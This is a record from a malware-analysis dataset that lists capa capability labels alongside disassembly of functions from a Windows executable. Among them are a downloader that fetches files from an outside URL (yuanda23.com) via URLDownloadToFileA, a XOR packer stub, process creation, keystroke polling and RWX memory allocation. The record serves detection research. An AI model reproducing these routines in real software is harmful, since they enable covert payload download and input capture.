joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4019d0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401a30
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x424074]
test esi, esi
jle 0x401b50
mov eax, dword [0x424078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401a64
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401ae7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401a50
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401b77
mov eax, dword [0x424078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x424078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401b57
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401ae0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401af0
add dword [0x424074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x424078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401ae0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401a6e
mov eax, dword [0x424078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x4020a0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x424090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x424088]
sub esp, 4
test ebx, ebx
je 0x4020f5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4020ee
test esi, esi
je 0x4020ee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4020d0
mov dword [esp], 0x424090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402420
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402445
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402450
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402445
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x402498
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40248e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40249a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402480
xor eax, eax
pop ebx
pop esi
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, reloc.winhttp.dll_WinHttpSetTimeouts
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4012f0
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401302
mov eax, dword [0x46408b]
shl eax, 2
mov dword [0x46408f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.00458b68
pop edx
call fcn.00458acc
call fcn.00458ba8
push 0
call fcn.0045a02c
pop ecx
push 0x464034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x464093], eax
push 0
jmp fcn.0045f14c
Function at 0x401df4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff84
mov eax, 0x464520
call fcn.0045938c
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.00463334
inc dword [ebp - 8]
mov word [ebp - 0x14], 8
mov dword [ebp - 0x7c], 0x44
xor edx, edx
mov dword [ebp - 0x78], edx
xor ecx, ecx
mov dword [ebp - 0x74], ecx
xor eax, eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x50], 1
mov dx, word [ebp + 0xc]
mov word [ebp - 0x4c], dx
mov word [ebp - 0x4a], 0
xor ecx, ecx
mov dword [ebp - 0x48], ecx
lea eax, [ebp - 0x38]
push eax
lea edx, [ebp - 0x7c]
push edx
push 0
push 0
push 0x4000000
push 1
push 0
push 0
lea eax, [ebp + 8]
call fcn.00401a68
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
setne dl
and edx, 1
mov byte [ebp - 0x25], dl
cmp byte [ebp - 0x25], 0
je 0x401e97
cmp byte [ebp + 0x10], 0
je 0x401e97
push 0xffffffffffffffff
push dword [ebp - 0x38]
call sub.KERNEL32.DLL_WaitForSingleObject
mov al, byte [ebp - 0x25]
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004633b4
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x401f84
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
xor eax, eax
mov dword [ebp - 4], eax
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
mov dword [ebp - 0x130], 0x128
lea edx, [ebp - 0x130]
push edx
push dword [ebp - 8]
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x401fef
lea ecx, [ebp - 0x10c]
push ecx
push dword [ebp + 8]
call fcn.0045929c
add esp, 8
test eax, eax
jne 0x401fdc
mov eax, dword [ebp - 0x128]
mov dword [ebp - 4], eax
jmp 0x401fef
lea edx, [ebp - 0x130]
push edx
push dword [ebp - 8]
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401fbb
push dword [ebp - 8]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x402168
Capabilities:
Enumerate gui resources
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
cmp dword [ebp + 8], 0
je 0x40220f
mov eax, dword [ebp + 8]
cmp byte [eax], 0
je 0x40220f
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40220f
push 0x128
push 0
lea edx, [ebp - 0x12c]
push edx
call fcn.00458ff8
add esp, 0xc
mov dword [ebp - 0x12c], 0x128
lea ecx, [ebp - 0x12c]
push ecx
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x402207
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
call fcn.0045929c
add esp, 8
test eax, eax
jne 0x4021f4
push dword [ebp - 0x124]
push 0x4020f0
call sub.USER32.DLL_EnumWindows
jmp 0x402207
lea edx, [ebp - 0x12c]
push edx
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x4021cc
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
mov esp, ebp
pop ebp
ret
Function at 0x402214
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
mov eax, 0x464600
call fcn.0045938c
mov dword [ebp - 0x18], 2
lea edx, [ebp + 0x10]
lea eax, [ebp + 0x10]
call fcn.00463334
inc dword [ebp - 0x18]
mov word [ebp - 0x24], 8
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.00463334
inc dword [ebp - 0x18]
push 0
push 0
mov word [ebp - 0x24], 0x14
lea eax, [ebp - 4]
call fcn.00401dc4
mov edx, eax
inc dword [ebp - 0x18]
mov ecx, dword [0x469068]
mov eax, dword [ecx]
call fcn.004464b4
lea edx, [ebp - 4]
push dword [edx]
lea eax, [ebp - 8]
call fcn.00401dc4
mov edx, eax
inc dword [ebp - 0x18]
pop eax
call fcn.00413af8
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0xc]
call fcn.00401dc4
mov ecx, eax
inc dword [ebp - 0x18]
lea edx, [ebp + 0x10]
pop eax
call fcn.004633f8
lea eax, [ebp - 0xc]
call fcn.00401a68
push eax
lea eax, [ebp - 0x10]
call fcn.00401dc4
mov ecx, eax
inc dword [ebp - 0x18]
lea edx, [ebp + 0xc]
mov eax, str.http:__www.yuanda23.com_download_
call fcn.00463514
lea eax, [ebp - 0x10]
call fcn.00401a68
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004633b4
dec dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004633b4
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004633b4
dec dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004633b4
mov word [ebp - 0x24], 8
mov eax, dword [ebp - 0x38]
push eax
dec dword [ebp - 0x18]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004633b4
dec dword [ebp - 0x18]
lea eax, [ebp + 0x10]
mov edx, 2
call fcn.004633b4
pop eax
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x410f6c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4692d4
cmp dword [edi], 0
jne 0x410fe8
push 0x40
push 0x1000
push 0x1000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov esi, eax
mov eax, dword [0x4692d0]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x464c24
mov ecx, 2
call fcn.0042435c
mov edx, 0x410f44
lea eax, [esi + 5]
call fcn.00410f64
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00410f64
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x410fbd
mov dword [0x4692d0], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41640c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x416445
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00425cb0
jmp 0x41644e
mov eax, ebx
mov edx, esi
call fcn.00425c14
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x416458
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x416479
mov al, byte [esp]
jmp 0x41647b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x416b00
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x416978
mov eax, dword [0x46904c]
cmp byte [eax], 0
je 0x416b6d
mov eax, dword [0x469050]
call fcn.00424820
call fcn.004242c8
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00413bd8
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x416bb4
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
jmp 0x416ba3
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x468f08]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4691d4]
call fcn.004272dc
push eax
call sub.USER32.DLL_LoadStringA
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.USER32.DLL_MessageBoxA
add esp, 0x444
ret
Function at 0x417844
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4178a8
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00425e28
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GetACP
mov edx, eax
pop eax
call fcn.00413728
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4178af
lea eax, [ebp - 0xc]
call fcn.00425bc0
ret

Function at 0x424488
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00425bc0
test esi, esi
jne 0x4244be
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00425cb0
jmp 0x4244dc
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.0042439c
mov edi, eax
test esi, esi
je 0x4244dc
cmp dword [ebx], 0
je 0x4244dc
dec esi
jmp 0x4244c5
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x424efc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x465154]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x424f94
push SysFreeString
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x424f74
xor eax, eax
push ebp
push 0x424f6d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x424fb0
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x424f74
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
mov ax, word [0x465154]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x465154], ax
mov esp, ebp
pop ebp
ret

Function at 0x425a44
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x469648], 0
je 0x425aa5
cmp word [0x46981c], 0xd7b2
jne 0x425a6d
cmp dword [0x469824], 0
jbe 0x425a6d
mov eax, 0x469818
call dword [0x469834]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x425acc
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
pop edx
ret
cmp byte [0x465164], 0
jne 0x425ac1
push 0
push 0x4651bc
push str.Runtime_error_____at_00000000
push 0
call sub.USER32.DLL_MessageBoxA
pop edx
ret
Function at 0x4274d0
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x427700
push SysFreeString
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x427553
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x427700
push SysFreeString
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x427553
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x42771c
push SysFreeString
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x4275dc
xor eax, eax
push ebp
push 0x4275d5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00427318
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x4275ba
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x42773c
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x4275ba
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4275dc
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4276f6
cmp byte [ebp - 0xd], 0
jne 0x427623
cmp byte [ebp - 0x12], 0
je 0x4276f6
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x42763c
dec ebx
cmp byte [ebx], 0x2e
je 0x42764b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x42763b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4276f6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x427688
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4276f6
cmp byte [ebp - 0xd], 0
je 0x4276f6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4276f6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427e74
Capabilities:
Accept command line arguments

Disassembly:
sub dword [0x469bbc], 1
jae 0x427efa
mov byte [0x465150], 2
mov dword [0x46960c], 0x4638b6
mov dword [0x469610], 0x4638c8
mov byte [0x46964a], 2
mov dword [0x4695f8], 0x426b00
call fcn.00424ecc
test al, al
je 0x427eb7
call fcn.00424efc
call fcn.00424fc0
mov word [0x469650], 0xd7b0
mov word [0x46981c], 0xd7b0
mov word [0x4699e8], 0xd7b0
call fcn.004269e0
call sub.KERNEL32.DLL_GetCommandLineA
mov dword [0x46963c], eax
call fcn.00422d94
mov dword [0x469638], eax
call sub.KERNEL32.DLL_GetCurrentThreadId
mov dword [0x469630], eax
ret

Function at 0x428910
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x42885c
call sub.USER32.DLL_EnumWindows
ret

Function at 0x428a34
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x428ab1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00428480
call sub.KERNEL32.DLL_GetTickCount
mov ebx, eax
push 0
call sub.KERNEL32.DLL_Sleep
call sub.KERNEL32.DLL_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x428a59
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.004280d8
cmp dword [ebp - 4], 0
je 0x428a9b
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00426070
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.USER32.DLL_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x428ab8
lea eax, [ebp - 4]
call fcn.00425bc0
ret

Function at 0x42d37c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00425bc0
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.USER32.DLL_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x42d3cb
push 0x100
lea edx, [ebp - 0x102]
push edx
push eax
call sub.USER32.DLL_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, 0x100
call fcn.00425e28
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x433678
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x43367e
ret

Function at 0x435ac0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x435b11
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x435af8
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x435ae8
jmp 0x435b11
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x435af9
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43cefc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43cf4c]
test si, 4
je 0x43cf10
or bl, 1
test si, 8
je 0x43cf1a
or bl, 4
test si, 1
je 0x43cf24
or bl, 8
test si, 2
je 0x43cf2e
or bl, 0x10
test si, 0x10
je 0x43cf38
or bl, 0x20
push 0x12
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x43cf47
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x43cf50
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43cf88]
push 0x10
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x43cf69
or bl, 1
push 0x11
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x43cf78
or bl, 4
test esi, 0x20000000
je 0x43cf83
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4438c4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4438d6
add esp, 0xfffffff0
call fcn.004253d8
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0040fee8
mov eax, dword [0x469074]
mov dword [eax + 4], ebx
mov dword [eax], 0x443c68
mov eax, dword [0x469078]
mov dword [eax + 4], ebx
mov dword [eax], 0x443c74
mov eax, ebx
call fcn.00443c80
push 0
call sub.USER32.DLL_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x405b88]
call fcn.0042505c
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x405b88]
call fcn.0042505c
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x405b88]
call fcn.0042505c
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x405b88]
call fcn.0042505c
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x405b88]
call fcn.0042505c
mov dword [ebx + 0x7c], eax
push 0
call sub.USER32.DLL_GetDC
mov esi, eax
push 0x5a
push esi
call sub.GDI32.DLL_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.USER32.DLL_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x440148
push eax
push 0
push 0
mov eax, dword [0x46915c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x432d7c]
call fcn.004341c0
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x432d7c]
call fcn.004341c0
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x432d7c]
call fcn.004341c0
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.004440a0
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x443f7c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x443f7c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x443f7c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x443a13
call fcn.00425430
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret